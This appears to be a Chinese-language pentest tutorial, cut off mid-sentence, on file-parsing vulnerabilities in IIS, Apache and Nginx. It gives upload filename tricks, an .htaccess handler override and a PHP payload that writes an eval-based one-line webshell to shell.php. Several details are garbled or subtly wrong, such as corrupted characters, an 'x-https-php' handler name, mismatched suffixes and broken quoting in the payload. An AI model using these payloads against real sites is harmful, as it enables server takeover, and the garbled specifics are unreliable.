一、文件解析漏洞
解析漏洞主要说的是一些特殊文件被IIS、Apache、Nginx在某些情况下解释成脚本文件格式的漏洞。
1、IIS 5.x/6.0解析漏洞
一般是配合编辑器使用(CKFinder、fck这两个编辑器是可以创建目录的)
IIS6.0解析漏洞利用方法有两种:
1.1、目录解析
/xx.asp/xx.jpg
在网站下建立文件夹的名字为.asp、.asa的文件夹,启母路内的任何扩展名的文件都会被IIS解析成asp文件来解析并执行。
例如创建目录xx.asp,那么/xx.asp/1.jpg将会被当做一个asp文件来执行,假设hacker可以控制上传文件夹的路径,就可以不管你上传后的文件改不改名字都可以得到shell
1.2、文件解析
前提是上传后的文件名不被改变
xx.asp;.jpg
(分号解析,分号前是一个文件,分号后是另一个文件)
第二种,在IIS6.0下,分号后面的不被解析,也就是说xx.asp;.jpg会被服务器看成是xx.asp,还有IIS6.0默认的是可执行文件除了asp还有以下三种:
/xx.asa
/xx.cer
/xx.cdx
2、Apache解析漏洞
Apache是从右到左开始判断解析,如果为不可识别的解析,就在往左判断(可以使用x.php.、x.php_)
比如xx.php.owf.rar,“.awf”和“.rar”这两种后缀是Apache不可识别的解析,Apache就会把后缀上述的文件解析成php文件
如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个xx.php.rar.jpg.png…….将所知的所有文件后缀名都列举出来,去测试是不是合法的。任意不识别的后缀,逐级向上识别。
如: x.php.cc.aa.dd会被解析成PHP执行
3、IIS7.0/IIS7.5/Nginx<8.03畸形解析漏洞
3.1上传
在默认的Fast-CGI开启的状况下,上传一个名字为x.jpg,内容是
<?php fputs(fopen(‘shell.php’,’w’)’,<?php eval($_POST[cmd])?>’);?>
的文件,然后访问x.jpg/.php,在这个路径下就会生成一句话木马shell.php。
3.2 其他
x.asp00jieduan%jpg
a.asp.a;.x.aspx.jpg…jpg
或者直接上传x.asp
IIS+PHP的都可以在图片的后面=/.php,看是否可以以php执行,比如:a.jpg/.php
4 htaccess文件解析
如果在Apache中.htaccess可被执行,且可被上传,那么就可以尝试在.htaccess中写入:
<FilesMatch “shell.jpg”>SetHandler application/x-https-php</FilesMatch>,
然后在上传shell.jpg的小马,这样sh